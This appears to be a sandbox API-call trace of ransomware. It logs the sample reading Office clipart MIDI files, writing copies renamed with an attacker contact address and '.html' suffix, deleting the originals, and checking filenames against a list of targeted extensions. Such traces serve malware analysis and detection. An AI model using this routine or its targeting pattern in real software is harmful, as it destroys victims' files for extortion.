	[0180.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0182.428] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5968) returned 1
	[0182.428] CloseHandle (hObject=0x4ac) returned 1
	[0182.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220
	[0182.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0182.429] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.429] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0182.430] GetLastError () returned 0x0
	[0182.430] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1750, lpOverlapped=0x0) returned 1
	[0182.434] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0182.435] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.435] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.436] SetEndOfFile (hFile=0x4a8) returned 1
	[0182.436] CloseHandle (hObject=0x4a8) returned 1
	[0182.436] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.436] SetEndOfFile (hFile=0x4ac) returned 1
	[0182.440] CloseHandle (hObject=0x4ac) returned 1
	[0182.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1
	[0182.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.442] lstrlenW (lpString=".doc") returned 4
	[0182.442] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.442] lstrlenW (lpString=".docx") returned 5
	[0182.442] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.442] lstrlenW (lpString=".pdf") returned 4
	[0182.442] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.442] lstrlenW (lpString=".xls") returned 4
	[0182.442] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.442] lstrlenW (lpString=".xlsx") returned 5
	[0182.442] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.442] lstrlenW (lpString=".ppt") returned 4
	[0182.442] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.442] lstrlenW (lpString=".zip") returned 4
	[0182.442] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.442] lstrlenW (lpString=".rar") returned 4
	[0182.442] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.442] lstrlenW (lpString=".bz2") returned 4
	[0182.442] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.442] lstrlenW (lpString=".7z") returned 3
	[0182.442] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString=".dbf") returned 4
	[0182.443] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString=".1cd") returned 4
	[0182.443] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString=".jpg") returned 4
	[0182.443] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString=".doc") returned 4
	[0182.443] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.443] lstrlenW (lpString=".docx") returned 5
	[0182.443] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.443] lstrlenW (lpString=".pdf") returned 4
	[0182.443] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.443] lstrlenW (lpString=".xls") returned 4
	[0182.443] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.443] lstrlenW (lpString=".xlsx") returned 5
	[0182.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.443] lstrlenW (lpString=".ppt") returned 4
	[0182.443] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.443] lstrlenW (lpString=".zip") returned 4
	[0182.443] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.444] lstrlenW (lpString=".rar") returned 4
	[0182.444] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.444] lstrlenW (lpString=".bz2") returned 4
	[0182.444] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.444] lstrlenW (lpString=".7z") returned 3
	[0182.444] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.444] lstrlenW (lpString=".dbf") returned 4
	[0182.444] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.444] lstrlenW (lpString=".1cd") returned 4
	[0182.444] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0182.444] lstrlenW (lpString=".jpg") returned 4
	[0182.444] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.444] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.444] lstrlenW (lpString="PARNT_07.MID") returned 12
	[0182.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0182.445] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6564) returned 1
	[0182.445] CloseHandle (hObject=0x4ac) returned 1
	[0182.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220
	[0182.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0182.446] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.446] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0182.447] GetLastError () returned 0x0
	[0182.447] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x19a4, lpOverlapped=0x0) returned 1
	[0182.449] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0182.450] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.451] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.451] SetEndOfFile (hFile=0x4a8) returned 1
	[0182.451] CloseHandle (hObject=0x4a8) returned 1
	[0182.451] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.451] SetEndOfFile (hFile=0x4ac) returned 1
	[0182.497] CloseHandle (hObject=0x4ac) returned 1
	[0182.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1
	[0182.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.499] lstrlenW (lpString=".doc") returned 4
	[0182.499] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.499] lstrlenW (lpString=".docx") returned 5
	[0182.499] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0182.499] lstrlenW (lpString=".pdf") returned 4
	[0182.499] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.499] lstrlenW (lpString=".xls") returned 4
	[0182.499] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.499] lstrlenW (lpString=".xlsx") returned 5
	[0182.499] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0182.499] lstrlenW (lpString=".ppt") returned 4
	[0182.499] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.499] lstrlenW (lpString=".zip") returned 4
	[0182.499] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.499] lstrlenW (lpString=".rar") returned 4
	[0182.499] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.499] lstrlenW (lpString=".bz2") returned 4
	[0182.499] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.499] lstrlenW (lpString=".7z") returned 3
	[0182.499] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.499] lstrlenW (lpString=".dbf") returned 4
	[0182.499] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.500] lstrlenW (lpString=".1cd") returned 4
	[0182.500] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.500] lstrlenW (lpString=".jpg") returned 4
	[0182.500] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.501] lstrlenW (lpString=".doc") returned 4
	[0182.501] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.501] lstrlenW (lpString=".docx") returned 5
	[0182.501] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0182.501] lstrlenW (lpString=".pdf") returned 4
	[0182.501] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.501] lstrlenW (lpString=".xls") returned 4
	[0182.501] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.501] lstrlenW (lpString=".xlsx") returned 5
	[0182.501] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0182.501] lstrlenW (lpString=".ppt") returned 4
	[0182.501] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.502] lstrlenW (lpString=".zip") returned 4
	[0182.502] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.502] lstrlenW (lpString=".rar") returned 4
	[0182.502] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.502] lstrlenW (lpString=".bz2") returned 4
	[0182.502] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.502] lstrlenW (lpString=".7z") returned 3
	[0182.502] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.502] lstrlenW (lpString=".dbf") returned 4
	[0182.502] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.502] lstrlenW (lpString=".1cd") returned 4
	[0182.502] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0182.502] lstrlenW (lpString=".jpg") returned 4
	[0182.502] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.502] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.502] lstrlenW (lpString="PARNT_08.MID") returned 12
	[0182.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.215] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7347) returned 1
	[0183.215] CloseHandle (hObject=0x514) returned 1
	[0183.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220
	[0183.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.217] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.217] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.218] GetLastError () returned 0x0
	[0183.218] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1cb3, lpOverlapped=0x0) returned 1
	[0183.220] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1cc0, lpOverlapped=0x0) returned 1
	[0183.221] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.222] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.222] SetEndOfFile (hFile=0x36c) returned 1
	[0183.222] CloseHandle (hObject=0x36c) returned 1
	[0183.222] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.222] SetEndOfFile (hFile=0x514) returned 1
	[0183.225] CloseHandle (hObject=0x514) returned 1
	[0183.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.226] lstrlenW (lpString=".doc") returned 4
	[0183.226] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.226] lstrlenW (lpString=".docx") returned 5
	[0183.226] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0183.226] lstrlenW (lpString=".pdf") returned 4
	[0183.226] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.226] lstrlenW (lpString=".xls") returned 4
	[0183.227] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.227] lstrlenW (lpString=".xlsx") returned 5
	[0183.227] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0183.227] lstrlenW (lpString=".ppt") returned 4
	[0183.227] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString=".zip") returned 4
	[0183.227] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.227] lstrlenW (lpString=".rar") returned 4
	[0183.227] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.227] lstrlenW (lpString=".bz2") returned 4
	[0183.227] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.227] lstrlenW (lpString=".7z") returned 3
	[0183.227] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString=".dbf") returned 4
	[0183.227] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString=".1cd") returned 4
	[0183.227] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString=".jpg") returned 4
	[0183.227] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.227] lstrlenW (lpString=".doc") returned 4
	[0183.227] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.227] lstrlenW (lpString=".docx") returned 5
	[0183.227] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0183.227] lstrlenW (lpString=".pdf") returned 4
	[0183.227] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.227] lstrlenW (lpString=".xls") returned 4
	[0183.228] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.228] lstrlenW (lpString=".xlsx") returned 5
	[0183.228] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0183.228] lstrlenW (lpString=".ppt") returned 4
	[0183.228] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.228] lstrlenW (lpString=".zip") returned 4
	[0183.228] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.228] lstrlenW (lpString=".rar") returned 4
	[0183.228] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.228] lstrlenW (lpString=".bz2") returned 4
	[0183.228] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.228] lstrlenW (lpString=".7z") returned 3
	[0183.228] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.228] lstrlenW (lpString=".dbf") returned 4
	[0183.228] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.228] lstrlenW (lpString=".1cd") returned 4
	[0183.228] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0183.228] lstrlenW (lpString=".jpg") returned 4
	[0183.228] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.228] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.228] lstrlenW (lpString="PARNT_09.MID") returned 12
